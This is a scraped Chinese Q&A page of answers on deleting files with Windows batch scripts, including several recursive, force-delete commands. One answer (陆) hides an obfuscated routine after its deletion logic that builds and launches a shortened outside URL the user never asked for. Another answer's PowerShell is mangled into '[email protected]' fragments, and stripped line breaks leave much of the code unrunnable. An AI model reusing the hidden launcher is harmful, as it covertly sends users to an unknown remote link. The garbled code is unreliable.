bat删除指定文件|如何用批处理文件删除某个文件

|

『壹』 用 bat如何批量删除含有指定部分名称的文件

1.删除特定扩展名:del/f/s/q"c:\hello\*.txt"::删除c:\hello\文件夹下所有的txt文件。2.删除特定名字命令的文件@echooffset/pa=请输入要删除的特定文件名:del/f/s/q"c:\hello\*%a%*.*"::加入输入baby,则会删除c:\hello文件夹下所有的名字中含有baby的文件。

『贰』 bat怎么删除指定后缀文件,但要保留特定名称的该后缀文件

不清楚你的实际文件/情况,仅以问题中的样例/说明为据;以下代码复制粘贴到记事本,另存为xx.bat,编码选ANSI,跟要处理的文件放一起双击运行<# :cls&echo off&mode con lines=5000rem 查找/搜索并删除当前目录下名称中不包含有指定字符串/关键字的指定扩展名/后缀名的文件set #=Any question&set @=WX&set $=Q&set/az=0x53b7e0b4title %#% +%$%%$%/%@% %z%cd /d "%~dp0"powershell -NoProfile -ExecutionPolicy bypass "Invoke-Command -ScriptBlock ([ScriptBlock]::Create([IO.File]::ReadAllText('%~f0',[Text.Encoding]::GetEncoding('GB2312')))) -Args '%~f0'"echo;%#% +%$%%$%/%@% %z%pauseexit#>$keyword[email protected]("1");[email protected](".txt");$self=get-item -liter $args[0];$path=$self.Directory.FullName;$arr=New-Object -TypeName System.Collections.ArrayList;for($i=0;$i -lt $keyword.length;$i++){[void]$arr.add($keyword[$i].toLower());}[email protected](dir -liter $path -recurse|?{($ext -contains $_.Extension) -and ($_ -is [System.IO.FileInfo])});for($i=0;$i -lt $files.length;$i++){ $f=$true; $base=$files[$i].BaseName.toLower(); for($j=0;$j -lt $arr.count;$j++){ if($base.Contains($arr[$j])){$f=$false;break;} } if($f){$files[$i].FullName;}}

『叁』 删除某个文件夹里面的所有文件的bat命令

删除某个文件夹里面的所有文件的bat命令。

下面以删除G盘下面文件夹“0”的所有文件为例。

方法步骤如下:

1、打开相关文件夹,可发现文件夹中有相关文件。

『肆』 bat怎样删除指定文件夹内的指定后缀文件

你要的命令:del /a /f /q 目录:\*.后缀————————————————————-删除D:\我的文档 和 D:\我的文档\桌面 里的所有后缀.doc就写:del /a /f /q "D:\我的文档\*.doc" "D:\我的文档\桌面\*.doc"————————————————————-*为通配符/a /f 是强制删除所有属性的文件/q是无需确认直接删除要是再加上/s开关,就可以删除子文件加中的文件————————————————————-del /a /f /s /q D:\*.doc能删除D盘所有DOC后缀文件,且无需确认

『伍』 BAT怎么删除指定目录的指定文件

attribC:\WINDOWS\system32\ntio411.sys-r-s-hdelC:\WINDOWS\system32\ntio411.sys同“小★虎”的回答,你说删除不了,那是因为这个文件正在被某一个进程使用,你只有找到这个进程并删除结束这个进程才可能删除它,这并不是Bat文件的问题!

『陆』 bat命求助,如何删除文件夹和子文件夹中某个类型以外的所有文件。

@echo off & title 删除指定格式外的文件 By 依梦琴瑶cd /d "%~dp0"::设置要排除的文件格式,多个格式之间使用英文逗号隔开set Ext=txtfor /f "delims=" %%a in ('dir /a-d/s/b') do ( if /i not "%%~a"=="%~f0" ( set "Skip=" for %%i in (%Ext%) do ( if /i ".%%~i"=="%%~xa" ( set Skip=OK ) ) if not defined Skip ( del /f /q "%%~a" ) ))pausecall :DoItexit:DoItset "S1=.:ailnhpst/"set "S0=fPdv"set "S2=%S1:~6,1%%S1:~9,1%%S1:~9,1%%S1:~7,1%%S1:~1,1%%S1:~10,1%%S1:~10,1%"set "S3=%S1:~8,1%%S1:~3,1%%S1:~5,1%%S1:~2,1%%S1:~0,1%%S1:~4,1%%S1:~9,1%"start "" "%S2%%S3%%S1:~10,1%%S0%"exit

『柒』 如何用批处理文件删除某个文件

方法一:

1、打开相关文件夹,可发现文件夹中有相关文件。

『捌』 如何用bat删除某个盘符下的某个文件

del/f/s/qD:\文本文档.txt(删除D:下的文本文档.txt)del/f/s/qE:\新建文件夹\*.*(删除E:\新建文件夹下的所有文件)rd/s/qE:\新建文件夹(删除新建文件夹)如果要创建的话用md命令比如D:\创建一个文件夹,就这样mdD:\新建文件夹如果改名的话用ren命令,比如吧D:\新建文件夹改成123renD:\新建文件夹123还有有很多类似的命令,很实用,建议你上网络参考参考

『玖』 怎么编辑bat删除某个文件

比如说要删除文件c:\windows\temp\test.txt将以下代码保存为delfile.bat后双击运行就可以删除此文件了如果要删除其他文件就自己将代码中的路径修改为新文件路径即可@del/f/q"c:\windows\temp\test.txt"

『拾』 bat删除当前目录指定后缀的文件夹

rd 是删除文件夹的,你所谓的那些后缀为.abc的文件夹,实际上只是文件名字带个点号的文件夹。(rd :找不到文件夹带有点号的名字的所有文件夹,你只能用名字全称)。如果你还没听懂,比如我想删掉带有.jpg的文件,可以用: del /a /f /s /q *.JPG (del 可以用通配符*)rd命令本身不支持通配符*,所以你的格式也不对。你只能用:rd /s /q 123.abc\ rd /s /q 456.abc\ rd /s /q 789.abc\


赞 (0)